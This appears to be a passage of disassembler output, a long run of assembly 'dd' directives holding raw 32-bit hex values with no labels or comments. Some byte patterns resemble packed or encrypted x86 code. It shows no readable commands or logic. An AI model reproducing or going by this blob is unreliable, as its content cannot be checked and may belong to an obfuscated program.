		dd 67236D28h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h,	50AC5962h
		dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh,	0FE0451A2h
		dd 53AF87D5h, 8C23578Eh, 0EF491786h, 0DF94DB2Fh, 94751319h
		dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h,	9D541429h
		dd 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh
		dd 0F8A851A2h, 6018EA80h, 0DFAE7DB4h, 8558B9E2h, 6832DC08h
		dd 0BA8C26A1h, 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h
		dd 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h
		dd 0B9CFD226h, 54A851A2h, 0D775BF86h, 52844787h, 7726DDA1h
		dd 0CE25FB63h, 43B99E16h, 0ECCE825Dh, 0EEECE4AAh, 7F029028h
		dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h,	2576D1A9h
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 7732732Ah, 0D903376Bh
		dd 760129B0h, 327BAEA4h, 234B9592h, 0FE04FD09h,	0CC866801h
		dd 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h
		dd 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 0CEB68FA7h
		dd 87575791h, 320A09Ah,	0CE25FB0Eh, 43B99E16h, 0ECCE825Dh
		dd 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 761F7DC0h, 0A8ED96A4h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43B985B7h, 2032DCF1h
		dd 0BA8C26BBh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 6738FC38h, 0DF07462Ch, 529BC0D6h, 3C6D5h, 5492B85Eh
		dd 3075152Ah, 5CDDAEAEh, 0D5338FA7h, 0D9FB5791h, 761B61B0h
		dd 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh, 9132DCAAh
		dd 168C26BAh, 0C5DCCB2Fh, 96751319h, 0BD54142Bh, 458A152Ah
		dd 0A8EDDAC3h, 4582D7E3h, 3044BAh, 1EE900h, 0A1BC0000h
		dd 126Eh, 6 dup(0)
		dd 0DA1E9h, 984B6800h, 47E90633h, 68FFF8E6h, 633992Eh
		dd 0F8E63DE9h, 9A2D68FFh, 33E90633h, 68FFF8E6h,	6339AEBh
		dd 0F8E629E9h, 9E5768FFh, 1FE90633h, 68FFF8E6h,	633A12Ah
		dd 0F8E615E9h, 0A24068FFh, 0BE90633h, 0FEFFF8E6h, 954697B7h
		dd 2FE031BBh, 0CA7BCC54h, 631465F1h, 22B00187h,	0A906C89h
		dd 0A82A08B9h, 45C9A657h, 0DDFB43F4h, 1251DF8Ch, 37F12CBCh
		dd 920A08DEh, 0E6F62690h, 60390FB0h, 9B1C74D4h,	86BB39BFh
		dd 73C706AAh, 9331C202h, 0B36BC323h, 51D5B2h, 44C20CA1h
		dd 0EE76A005h, 1D5C9E37h, 37EE76A9h, 0B52179E9h, 38929D45h
		dd 3737EE76h, 4CD6B0E5h, 0FB43B4A4h, 0ED4535DDh, 0E6F198h
		dd 53582982h, 10B8D61Eh, 389EC820h, 60000000h, 94125CF1h
		dd 0EEE48455h, 96148437h, 57FF8561h, 49570F67h,	0CB43614h
		dd 89702B3Eh, 0C02035DCh, 92EA764Fh, 0EE0CB707h, 0F493AC37h
		dd 299BFBE1h, 7B258h, 41740000h, 89Ch, 39579F53h, 2A489091h
		dd 0BDE57AD9h, 298F2235h, 0E765C552h, 0F44C6AB2h, 0CD722766h
		dd 229237EEh, 821F6F7Ah, 0FB1437EEh, 6F34361Ch,	0F3F5AD64h
		dd 0F09822FCh, 0E72FA000h, 10F671C9h, 0C758298Ah, 25h
		dd 125CF189h, 0DECC5594h, 0F52A37EEh, 0D13D9517h, 5CAEB961h
		dd 5337EE9Eh, 0A2885F3Ah, 59582A2Dh, 0C9h, 155D921Bh, 75F4FF7h
		dd 78203E86h, 6D159B77h, 5E06246Ch, 0A6F7155Dh,	0C2BFB3EBh
		dd 607EC631h, 0F8165E0Fh, 0C20CA150h, 0F1CD0244h, 0BFB80E4Dh
		dd 6ADA31C2h, 0F94D8C0Ah, 1931C2BFh, 0E5C651A9h, 537EEC5h
		dd 50E54495h, 3AB92A28h, 0F938D624h, 37EE5985h,	95F555C5h
		dd 88DAD817h, 0CC3C31DDh, 0B3D1194Eh, 0BC98CD5Bh, 5834E536h
		dd 66E56DD2h, 0C1F94A86h, 0AE262h, 0ED0D5400h, 8711EB9Ch
		dd 22AA8536h, 0BB4720D1h, 57DDB96Ah, 0C2677806h, 5E0F60E6h
		dd 0FCADFE80h, 994A9B1Fh, 35E23351h, 221268A7h,	5E3437F1h
		dd 3DC39F60h, 792C2EECh, 3F539F56h, 0CDAF2D71h,	0D85F18Fh
		dd 0F0EC34B5h, 58A8D168h, 0B5066650h, 125CF1CBh, 0DECC5594h
		dd 0DC4C37EEh, 9ED12934h, 0B5CE37EEh, 2E1D03D2h, 0CCD4582Ah
		dd 96000000h, 9139579Fh, 862EB490h, 0C2BF237Bh,	0F00E5631h
		dd 0D9633D72h, 88E94131h, 14538FD7h, 31C2BFBEh,	0F6BEDCBh
		dd 0E8973F9Fh, 4C8B0953h, 37EEC563h, 689D1B8Bh,	4AAB038Fh
		dd 8E0C56EBh, 51F97B59h, 549FB683h, 47A73343h, 72261EFh
		dd 7531DD7Ch, 9EDC6640h, 0EC8EFF6Eh, 42AE06F7h,	431F54D2h
		dd 0E949D1ACh, 850BE798h, 85A36C20h, 0B6AA24Ah,	9FFh, 0B90A2A71h
		dd 53A42E08h, 0EE3FC7A2h, 87D8643Dh, 2374FAD6h,	5E10495h
		dd 9F7D2E7Fh, 3E1BCC1Dh, 70B869BAh, 0C6540152h,	0F1233387h
		dd 7F7D5337h, 0FC805D92h, 0C14723A4h, 3B0B270h,	661F2189h
		dd 0FA42C31Bh, 0CBCD8BDCh, 9AEEEAB0h, 365A9889h, 9D3746A6h
		dd 9F31EB43h, 90913957h, 77AC2A48h, 6D6E169Ah, 52AA0A92h
		dd 700BDCF1h, 9AD8603Bh, 6B8BAA4h, 6D9CF45Ah, 0D1108ED8h
		dd 37EEAE04h, 0CDD884F4h, 0DDAB785Eh, 9E1C66FBh, 86049069h
		dd 3379F347h, 4BA3139Eh, 69467BBDh, 0D22867E5h,	0F49E3379h
		dd 0E4A12C84h, 34981F02h, 0D86D1CC4h, 9A18A47Dh, 0DF70E75Bh
		dd 57B72787h, 31C8A4D9h, 3828D054h, 0E32230D8h,	87DF706Fh
		dd 87DF3FAFh, 8A5CBAF9h, 5A5C81EFh, 0E43F651Dh,	0E6CB4237h
		dd 0AC5D91CFh, 69D9459Dh, 3F6EB6EBh, 2A7BDB65h,	0AE133179h
		dd 0FA780ED8h, 8FEE26h,	72000009h, 9BA0B2Bh, 0A354A52Fh
		dd 3EEF40C8h, 0D788D965h, 962475FBh, 7E04E005h,	1C9E7C2Dh
		dd 0B93D1ACBh, 516FB768h, 86C55300h, 37F12030h,	927E7C52h
		dd 0F0B43090h, 65E02E0h, 310E3D85h, 0F6A54DADh,	64991761h
		dd 4C42228Ah, 4750B36Ah, 623E3FE7h, 0E44434DCh,	0B6BFFE8Ch
		dd 4437EE93h, 3DAE320Fh, 4535DD5Fh, 250081EDh, 8ABF3D9Dh
		dd 76AB29ADh, 5ABB139Bh, 876ACCA9h, 0B78995E4h,	5C5D3371h
		dd 0E3A4377Bh, 7AD0DB83h, 7D37EED6h, 37EEA60Dh,	2DABF58Ah
		dd 0ED951DF8h, 0CA407FFDh, 0C37EEC6h, 77B6449Ch, 31C2A75Ah
		dd 61620A7Ah, 8511EA19h, 6FB0C025h, 0F62E4A83h,	84297h
		dd 4D6DB400h, 0E7714BFCh, 820AE596h, 1BA78031h,	0B73D19CAh
		dd 22C7D866h, 0BE6FC046h, 5C0D5EE0h, 0F9AAFB7Fh, 954293B1h
		dd 2072C807h, 0BE9437F1h, 825D92C0h, 0C93D7CFAh, 931C2BAh
		dd 7D124199h, 61C14522h, 0DB77A4E3h, 37A737EEh,	2AB48E8Fh
		dd 0C44E28D9h, 590C0E1Ch, 6D57BF2Bh, 740C3B93h,	0D36FAE2Ch
		dd 337EEC1h, 0FEAEB93h,	5DEDF87h, 0A3038F68h, 0C4C30CFBh
		dd 0E50A21Ch, 0EEC17BCFh, 0BA2B9B37h, 0C2B25ADCh, 5D72156Ah
		dd 0EDA8F983h, 37EEC19Dh, 9C1A66FAh, 68F5549Ah,	0D62EF810h
		dd 7A490948h, 5A8F37EEh, 6050F87Eh, 368E12EFh, 58095ACAh
		dd 3476F47Eh, 0EE7B81F5h, 0F951C137h, 0B6FE3341h, 0C44C2798h
		dd 7A61E16Ch, 5CA437EEh, 0B795963Eh, 16BEDC24h,	141EC626h
		dd 0DA541CFBh, 2F09C6C1h, 0C9A354A5h, 0B3879961h, 0AE0E5BEAh
		dd 9653FB06h, 445D37EEh, 4AB28C45h, 0D8609E3Ch,	0E06C459Dh
		dd 11CF2080h, 0D73A90CFh, 0EC5C37EEh, 85D36594h, 0D777C807h
		dd 279737EEh, 73A3747Fh, 97B0A008h, 7CFFE5F0h, 0C0B6E3C8h
		dd 78000001h, 45339092h, 0B4BA25F1h, 0B8A850DAh, 3CD10058h
		dd 103574F2h, 0B037EECBh, 0A86FE322h, 3FAF37EEh, 7191CB01h
		dd 26268CAh, 310D4284h,	98EE2DABh, 0BA37EEDAh, 2971F24Ah
		dd 0C109BA0Bh, 0AEE325A3h, 0B0A04866h, 0EEDAC135h, 39910137h
		dd 5A27681h, 0F1CFBF25h, 0EDC6C76Fh, 81CAB961h,	327BDA86h
		dd 14327A57h, 0FF856196h, 0AE0F6757h, 0EF97B5FDh, 0F60A840h
		dd 0B31B855Eh, 0E85C938h, 0A3038764h, 529A9B43h, 0A681B634h
		dd 0B465C61Eh, 9BA64E6Ch, 293EAA75h, 6DF1496h, 0CACD227Ah
		dd 6D8BD308h, 0FC7DD5C5h, 944596B4h, 7DD1104Ch,	9DCE3C2Ah
		dd 1A4FCD2Dh, 1E0EB640h, 0CB000EC6h, 0D3C36BEDh, 6CB44C7Bh
		dd 5F31ECEEh, 598F9E7h,	6AE01FADh, 8ACE3CCBh, 0CBB50948h
		dd 65D5CE3Ch, 0B331A10Dh, 0C018367Eh, 4CD2AE5Fh, 9D8A8CCEh
		dd 67EC7F16h, 0EA59AD28h, 0A597CE3Ch, 33BEB330h, 96EE5EBAh
		dd 4F992FDEh, 4E2092D1h, 0D95ACE3Ch, 0DDCD75FFh, 337B2C7Dh
		dd 9E208037h, 85F6BFFCh, 887820ACh, 0A37F8028h,	9874751Dh
		dd 8C696A12h, 0EF9719F7h, 8F79FFFh, 9E18D8BFh, 85CD8285h
		dd 1D651667h, 10A857FFh, 38154AC8h, 0DDFB43B4h,	5FED4535h
		dd 3CB2B220h, 2374E4CEh, 640C2A72h, 5A028663h, 2E23E67Fh
		dd 0B977C8E6h, 3812A784h, 0B61606AEh, 45C61E0Eh, 8837DFFDh
		dd 0EB2AA8F0h, 0CE3CB283h, 88BD3BABh, 6DCE26ACh, 0D82E6DAFh
		dd 0FACE3CB3h, 0D4B1328Ah, 659AA850h, 47860488h, 0CE3CB3F3h
		dd 1C4BA313h, 0C6522B84h, 0DFBD2E1Eh, 407FFD5Dh, 0CE3CB3DAh
		dd 7D3B8CFCh, 3AE20048h, 9F38F24Ah, 89E83957h, 0EA2CAAF4h
		dd 0AD55D7B5h, 9F47D3ACh, 6CF74FAFh, 37EEC98Fh,	8CC13FAFh
		dd 0D97D4DAFh, 0B64BCA97h, 39E16B45h, 366BE949h, 835FD0EEh
		dd 0D6555FDh, 0DFECEEACh, 5FA67DB8h, 0A885065Eh, 38CD7C24h
		dd 203170EEh, 0D831C28Ch, 70B2C068h, 9A22DD31h,	358DFD3Dh
		dd 9A5250AAh, 0D822B73Dh, 73FE1B5Ah, 0C7FC3BB6h, 9F0B63EDh
		dd 3E86872Fh, 9BEFBB20h, 0E71F50AFh, 4D688h
		dd 0E1014800h, 7B05DF90h, 169E792Ah, 0AF3B14C5h, 4BD1AD5Eh
		dd 0B6536CFAh, 520354DAh, 0F0A1F274h, 8D3E8F13h, 29D62745h
		dd 24E65C9Bh, 522837F1h, 125CF154h, 0C4845594h,	148437EEh
		dd 0B0E8616Ch, 0EC0537EEh, 43543A2Dh, 0A5A7582Ah, 0B3325CF4h
		dd 41CDA6FFh, 0F149A999h, 0A7C7h, 0D5958900h, 1331C2BAh
		dd 0C2BA7ED4h, 0D030A031h, 4866AE9Fh, 34B895CAh, 0E3449C8Ch
		dd 28A6EE84h, 0C2BA8DE9h, 953DAD31h, 0DD2E4C94h, 22A0E87Eh
		dd 0E08814EDh, 0CB0A98F0h, 31C2BB6Fh, 76771F8Fh, 9A26FF2Eh
		dd 0B49102F2h, 38988830h, 0AAF288E7h, 0BB7DED2Ch, 2D9D31C2h
		dd 0F6357785h, 31C2B880h, 6E152C2h, 8EE6D67Eh, 0C2F88B03h
		dd 0FD9CB531h, 6947A036h, 0CA0987E7h, 31C2F890h, 63D71658h
		dd 0C131C2F8h, 0C80896A6h, 6ADA36C1h, 0EC9420F9h, 0B738A4FCh
		dd 81F534DEh, 0C131C20Ch, 5949F151h, 0AD99A8F9h, 0AB000000h
		dd 94125CF1h, 0EEDBB855h, 6AE85837h, 9B95E928h,	45B537EEh
		dd 563435EDh, 0CB5456D4h, 0BC421EADh, 4E0AEE7Eh, 0FB218803h
		dd 479FFFDFh, 0A3CD87E6h, 528CE625h, 3EAE37EEh,	53308B96h
		dd 6A4737EEh, 5F3D3EE6h, 0FD4635DDh, 0B6CF561Ah, 651E04D3h
		dd 55D55829h, 97000000h, 8F0D63F1h, 0C2BAFA50h,	4AC1C31h
		dd 52A32503h, 910F61F3h, 0A93C1A4Fh, 0B0A048CCh, 0CD6DF850h
		dd 0ED31C2BAh, 70CAD57Dh, 7C31C2FAh, 57FDA463h,	325C9B19h
		dd 0BA31C2FAh, 7C24A885h, 58C8348Ch, 175698DAh,	31C2FAA3h
		dd 82F873E3h, 0C431C2FAh, 0B19BFC54h, 4D28579Fh, 0F17954C5h
		dd 0A0E8E991h, 0F2CF0482h, 0F7B5166Eh, 443E5C2h, 31C2BA8Eh
		dd 0A80060D0h, 1C9AE479h, 0EED7C8DDh, 30D84837h, 0EEA7D525h
		dd 3678CA37h, 0EEA783F7h, 0FB53C337h, 0EF4E3A6h, 0C5582A31h
		dd 29h,	125CF187h, 0DECC5594h, 0DC4C37EEh, 9ED12934h, 7CCE37EEh
		dd 7FAD9D7Ah, 338B9A8Fh, 462C3BDEh, 0FD5829FFh,	0F4h, 5B579FBFh
		dd 789ED980h, 6A1272E5h, 89078D69h, 17F90987h, 68A6D0BAh
		dd 954FFC11h, 0C179D143h, 0B25A78C0h, 0FA4B69B1h, 0C233EF3Fh
		dd 0D6D21A31h, 0FD693FDBh, 0B08CFD8Bh, 4A4CCA2Ah, 0DFDEEBBEh
		dd 0A2035B86h, 4FD1AFE4h, 0DE5FB7A7h, 0C2D07896h, 993E7BC0h
		dd 59B159C9h, 0CD4B952Ah, 0DD35BD98h, 9C73104Fh, 15A337EEh
		dd 0EE1D60D6h, 0C132A237h, 0AF0060E4h, 0F371BB50h, 0E27BE5BEh
		dd 7A2A38A1h, 6050F858h, 3387A08h, 8F8A028h, 218225B0h
		dd 0B22231DDh, 8C23FF34h, 0B6842CAEh, 7E5CA540h, 0BC1C7CFEh
		dd 58DEBA6Bh, 859CB1F3h, 0B6154D4Ah, 203h, 0BD0E2E75h
		dd 57A8320Ch, 0F243CBA6h, 8BDC6841h, 2778FEDAh,	9E50099h
		dd 0A3813283h, 421FD021h, 74BC6DBEh, 0CA580556h, 0F11B378Bh
		dd 83815737h, 0EC3DC39Fh, 93B1F92Eh, 22A3FBEBh,	816BBCDAh
		dd 94125CF1h, 0EEDECC55h, 7FBE4C37h, 37EE9E0Bh,	0D37BDB4Bh
		dd 0EE9E76C8h, 22A68337h, 189C797Ah, 4A4D6670h,	8BCD1FA6h
		dd 0EE9EF64Ch, 4B8A1837h, 37EE9EF7h, 0EF47A717h, 2E8FF9Ah
		dd 0B9582A2Eh, 0D8h, 39579F7Bh,	23AB86BBh, 361213CBh, 0B8FA08B0h
		dd 0C2BA0579h, 7DD54531h, 0C2BFB8F2h, 5685CD31h, 0A47FF00Eh
		dd 0AD6BBC1Ch, 0BFD62C6Bh, 88F831C2h, 4967AF30h, 135DF2A1h
		dd 0EB295695h, 79E937EEh, 0EA34C928h, 0D55B376Ch, 57E53D2Dh
		dd 0B60C1315h, 0C6F72412h, 0A9DFE36Eh, 1B1D31DDh, 0C32D40Ch
		dd 6AD62EC8h, 1C7A7CFAh, 2B3F004Eh, 47E85E9Dh, 0BA2A3D99h
		dd 3F74025Ah, 0A80BF63h, 4C3D9947h, 7A2B7CDCh, 0EBB3189Eh
		dd 34A86CFh, 0ED6CCBh, 185F0000h, 1CF6A7F8h, 0B5904192h
		dd 522BDC2Dh, 0E8C475C6h, 6A831162h, 1C6DF3CFh,	0BA0B8D6Bh
		dd 57A82C09h, 0EF405EA6h, 175B442h, 4137F118h, 0C39F6D6Bh
		dd 0F33BEC3Dh, 0BA0278B7h, 0D44431C2h, 5B038563h, 0D0BA0B6Bh
		dd 9139579Fh, 0D92A4890h, 1D9BE57Ah, 0E45A99DBh, 2631C2BAh
		dd 0B3D35EB6h, 6B37F650h, 393B7DFBh, 3931B89h, 166CE73Ch
		dd 3837F1BEh, 0B7B870C8h, 4F00516Fh, 3341E907h,	0BE5CB2F1h
		dd 0FD7E37F1h, 0FB399923h, 5606E938h, 0C14CA470h, 402CB920h
		dd 0D67E0AE3h, 0C971FBD5h, 0BEA265FEh, 5E73165Fh, 0F6A7F816h
		dd 1EA27FAEh, 310B40BEh, 0B70FFFA7h, 9925FEFFh,	809EE61Bh
		dd 4B22F142h, 358D9769h, 0BF5A737Dh, 0EB3C5AA2h, 2CD4F23Ah
		dd 890BE91Eh, 0BA99F1E1h, 0Fh, 0E7E9F7CCh, 0C092CCD4h
		dd 0EEC93AB8h, 9F540E66h, 8F903858h, 80812947h,	76771FA3h
		dd 6D6E1698h, 62630B91h, 57580086h, 494AF27Eh, 3D3EE66Eh
		dd 1531D963h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 53243C89h
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch,	89532434h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 243C895Ch, 5011BF57h, 0C14741A0h
		dd 0DFF704EFh, 7CE0BE56h, 0DEF70215h, 272FE681h, 0F681153Fh
		dd 5D7784Fh, 475EF709h,	9AA1C781h, 0FE890A35h, 3C8B545Fh
		dd 4C48124h, 83000000h,	348904ECh, 8478F24h, 52243C8Bh
		dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 835E2434h, 0BFE904C4h
		dd 1BFFF8D8h, 71501E13h, 85FC603Dh, 7453CAC9h, 52B8A272h
		dd 30633A3h, 0B6E0FFC5h, 69191E58h, 384887F2h, 781EA4ECh
		dd 0B8051099h, 532EFE19h, 0A2346A32h, 451F98F0h, 0E810C29Ah
		dd 8, 4EA3414h,	0C73D6E67h, 13E8h, 0EE9A8100h, 0C837B3A8h
		dd 0DB36965Eh, 93804E94h, 57B7B163h, 12E9h, 8D5B4400h
		dd 9BBDD071h, 7FC9000Dh, 493F8582h, 589F86B3h, 56C3815Bh
		dd 0F000068h, 68Eh, 0C4D98100h,	0BA2645D7h, 7673EAEh, 24D5EA81h
		dd 0EA8A0767h, 8B5F33FFh, 0BDEF81F2h, 0E9312B6Bh, 13h
		dd 0D3F7EE83h, 0A37E0B20h, 4160984Bh, 0B98BBA03h, 813E627Ah
		dd 0CC7020F7h, 288C0F0Fh, 60000000h, 8E9h, 6A85BF00h, 66DB989Ch
		dd 13E824h, 0EE240000h,	0AA22FFD2h, 6215780Bh, 0BCBC9ABFh
		dd 71713CFEh, 81615E6Ch, 0F94CD5F7h, 57C88A3Eh,	8B038FF9h
		dd 0A2EB81CEh, 661E3A37h, 0E9E9D181h, 379EC381h, 0B9661E3Ah
		dd 0F4A9CD7h, 1185h, 0F6BF0F00h, 15E9h,	79A00F00h, 0F618C359h
		dd 0F28BB1D3h, 0FFFF67E9h, 217458FFh, 0AE80E9Ah, 0F3000000h
		dd 679CE7BBh, 14697A36h, 14E97Ah, 96AA0000h, 1A085D9Ah
		dd 0F564F360h, 0FB772D9Ch, 0CCE96070h, 8B5A4A72h, 38C281F3h
		dd 500000E5h, 2A4AECBFh, 0DB2B582Ah, 830Fh, 0C8B0000h
		dd 0E9FC601Ah, 13h, 5E87B0A7h, 7FC3A61Bh, 198EA6DCh, 0EEAA57A1h
		dd 614B50F8h, 141AF181h, 81663C64h, 81C2C5DFh, 0EFE2A5E9h
		dd 0EE97Eh, 3B6D0000h, 894AA578h, 610A9549h, 82F25739h
		dd 1C14E981h, 9E95E71h,	0AD000000h, 8DF397C1h, 7B63FDF9h
		dd 0AE951h, 0B5290000h,	3117A6E7h, 22233D72h, 0E81A048Fh
		dd 0Ch,	808A0506h, 681A80FFh, 0B3890444h, 0FE85Fh, 8E620000h
		dd 0FDB44C9Dh, 4DBF8B30h, 0CDFD0BF5h, 6E9ECh, 0B6460000h
		dd 6A4B655Ah, 4EB8358h,	3880Fh,	0BF0F0000h, 0E0FB81C6h
		dd 0FFFFF1Bh, 1685h, 4B86600h, 25E921h,	0C7F10000h, 27F45D6Eh
		dd 440C9EB9h, 60F839A8h, 62EF8166h, 2BE9615Bh, 0A7FFFFFFh
		dd 14354EC3h, 157B8026h, 0E8B31F83h, 12h, 0CF358B96h, 53F698D1h
		dd 7C4C45E0h, 77032C06h
		dd 8F0F9181h, 0Eh, 9E9h, 0C9640700h, 1D8B3E4Bh,	6658E516h
		dd 98C0E681h, 63CAC081h, 11E90000h, 88000000h, 0CB1AF5B2h
		dd 8F920FC6h, 694095DFh, 3522A0D2h, 0B9h, 6E900h, 0C26B0000h
		dd 0A1DDB2A0h, 50081C8Bh, 0EB815EFCh, 60B9FEC1h, 825EF381h
		dd 81661DD2h, 819DDFD6h, 0D53EADC3h, 0BE95Eh, 86A00000h
		dd 0CB54EFBEh, 9802A6A8h, 81C8991h, 4890Fh, 0BE660000h
		dd 66B6667Fh, 5102E983h, 49495FFCh, 8152E280h, 0FF9D04F9h
		dd 16850FFFh, 0BA000000h, 697E9494h, 1DE9h, 24407A00h
		dd 0B6C16A88h, 63C9AC73h, 25EE8067h, 0FFFF8FE9h, 3EE6A7FFh
		dd 0ED1C4E78h, 8D8D2F81h, 633A7D9h, 2BA58D89h, 8529062Ch
		dd 62C089Dh, 12D985C7h,	5C38062Ch, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E9714EC3h
		dd 0Bh,	0A50E582Ah, 74D7100h, 0C75AE8E7h, 2C29C185h, 6
		dd 71958900h, 0FF062C0Ch, 2C2D19B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 88535E4Fh
		dd 98D58CF3h, 0B58B60BAh, 62C21E9h, 21C1858Bh, 0FF61062Ch
		dd 2C15F595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 92F0F99h,	6CDA806Ah, 95FF006Ah, 62C26B1h
		dd 5CEBC08Bh, 8BCEA08Eh, 0B1B4F00Dh, 5A5BEBA2h,	0BACFD848h
		dd 21162BFh, 9646F189h,	428995AEh, 0A9EE5DB8h, 0FDCF11F9h
		dd 2A7187E9h, 0BC72F6E9h, 4682C654h, 0E51EFE1h,	2D29AD1Ch
		dd 1DD64FA2h, 1DFA3D73h, 0DBBF29CFh, 585FBA6Fh,	7A6F1B2Dh
		dd 0AA6E4A78h, 0F3387A2Fh, 0F10547BCh, 76BAF48Ah, 23E9h
		dd 0AF099E00h, 79h, 7 dup(0)
		dd 545E9h, 0D1F13800h, 6BF5CF80h, 68E691Ah, 9F2B04B5h
		dd 3BC19D4Eh, 0A6435CEAh, 42F344CAh, 0E091E264h, 7D2E7F03h
		dd 19C61735h, 12F64C8Bh, 421837F1h, 0F9613B70h,	83C9D373h
		dd 0BF1777F9h, 1B579F05h, 0C2BA66DCh, 0D838A831h, 0CD532F30h
		dd 12A04D4Fh, 256FEDFEh, 73BB6CCDh, 64ACAD55h, 5B909E46h
		dd 5E4EF682h, 21AB8506h, 0D3088A79h, 0C8C971F7h, 0AC0464EEh
		dd 579FB057h, 20C84A28h, 5CE4BF30h, 1DFAABFCh, 0BA974899h
		dd 0AF8D8E36h, 0A684852Dh, 0E273C706h, 239331C2h, 0D21A1BC3h
		dd 0E36543B4h, 30D7703Bh, 0FA9DB630h, 338408E5h, 741C3A82h
		dd 5CD86466h, 0CFEB7180h, 1E5C2420h, 74CCF4CEh,	0C26990E9h
		dd 0E8AF7431h, 557F17FDh, 6DCE5Eh, 9F900000h, 86913957h
		dd 31C2BA32h, 994C4B10h, 5E5651B3h, 16Ah, 0C59F2C00h, 0B892933Bh
		dd 12BA421Dh, 4244C222h, 0F4831C29h, 0E8A0F813h, 4820EE7h
		dd 0F4EF4CFh, 31C24EBBh, 0B30B6BDBh, 9521FAFBh,	0F00D1FEDh
		dd 672A532Bh, 0A67FAEF6h, 2282721Ah, 7316AF7Ah,	4C8E106Fh
		dd 0C247B90Dh, 1169D931h, 2A04DDBCh, 569E4FA0h,	9FFDE738h
		dd 94953DC3h, 0BD8830BAh, 3F6EB6EBh, 4333DB65h,	0F34B3BE3h
		dd 0AE6FB9Eh, 73753384h, 0DF45DA07h, 42C31BC5h,	3334DCFAh
		dd 5BE5BF58h, 645C3B3h,	31C2B4B0h, 5A0262D2h, 2AEFF143h
		dd 8441E881h, 91065BDh,	560B885Eh, 8C1F5Eh, 9FE10000h
		dd 87953DC3h, 0CC0D5285h, 68E6E390h, 0C21ED529h, 2D85F531h
		dd 0A149D1ACh, 0A4AE69B2h, 670F916Fh, 0C29E1F77h, 5E3AEB3Ch
		dd 562F30D8h, 0F20B22CAh, 0F02B2D17h, 2CE32E3Ch, 0C926EDFh
		dd 326339B4h, 61965E56h, 6454FC88h, 5FE20Ch, 9FA40000h
		dd 7DBF3DC3h, 0C2BAC83Eh, 55A9E831h, 7531C2BAh,	0FB39A905h
		dd 754931F3h, 752D85E9h, 0D2543267h, 68A11554h,	71E131C2h
		dd 37BB9819h, 82854A8Fh, 0ED6BF1CDh, 0FF57DBB8h, 0C59FB49Eh
		dd 3788933Bh, 4231C2BAh, 3839E165h, 502BD35Fh, 7010D0B7h
		dd 13F9ECABh, 0CA5E5652h, 1, 3CC49F8Ch,	2D4B9394h, 0A7627B85h
		dd 0F647CFAAh, 3AB80297h, 377B6F8h, 4331C2BAh, 0BA0076B5h
		dd 0D24231C2h, 9BB90172h, 20AB03F3h, 37EEE3A7h,	0DEDF87F7h
		dd 76277896h, 5D68102Eh, 37EE93EBh, 550A0DD2h, 3C92D10Dh
		dd 5E37EE93h, 8C3D8EEEh, 87C60844h, 37EE9333h, 1268E353h
		dd 3437EE93h, 0BBBC64C4h, 0E2684473h, 3D0FDA82h, 0FBA32F08h
		dd 0BB5EB30Bh, 0AFCA9799h, 0FBCFFFD8h, 0BCDA22A3h, 0B9DAC06Bh
		dd 34915829h, 53000001h, 12869092h, 49F4B186h, 0D078FAD8h
		dd 0C45988E0h, 0D4BDFC7Ah, 437EE01h, 0DCDEEC94h, 37A7A991h
		dd 6AEB4387h, 0F5B30422h, 0CB1E74B3h, 0D04037EEh, 91AFF778h
		dd 82A0E8E9h, 93760FDAh, 75876BEh, 29E0765Ch, 4C2D58h
		dd 92EF0000h, 0A5FD7F5Dh, 1A98E076h, 0C2BA47DBh, 0FA39C7B1h
		dd 4E3D4584h, 78F656C6h, 968F8676h, 5DB51ACDh, 19249AA5h
		dd 0DE774E3Dh, 9AE2783Bh, 1949DD1Ch, 65A7CE3Dh,	3D18D026h
		dd 2A82F2CEh, 0EEFD4EBEh, 0A3h,	921EF72Ch, 5CF1803Ah, 41A12301h
		dd 0CA8F84C3h, 41CF37EEh, 0EEAA8C02h, 0FE5ECE37h, 0D4034B80h
		dd 660E6E8Ch, 58661E76h, 16BE4A23h, 54DCE26h, 0F22769E7h
		dd 0F8E89016h, 0EEAA097Dh, 81D94937h, 9276F20h,	4C53898Bh
		dd 2DDECDC9h, 0DA0F1DD5h, 941F77FFh, 37EE5239h,	8F40470Ch
		dd 79D82947h, 0DA1C9AE4h, 50E55998h, 0B52537EEh, 88BBD25Dh
		dd 0F36331DAh, 6024A4Bh, 10859C97h, 0E48CEC4Ch,	0D67E0AE3h
		dd 5209D208h, 0ED5E9C1Ch, 0DBE58D0Fh, 0A11BC7C2h, 8D228188h
		dd 0F786C543h, 173B9605h, 926C56A7h, 47DE4E50h,	0E7E8AB3Eh
		dd 0C285166Ch, 0BE4A2331h, 6B9AF262h, 0CC0E8CD6h, 85F74B8Ah
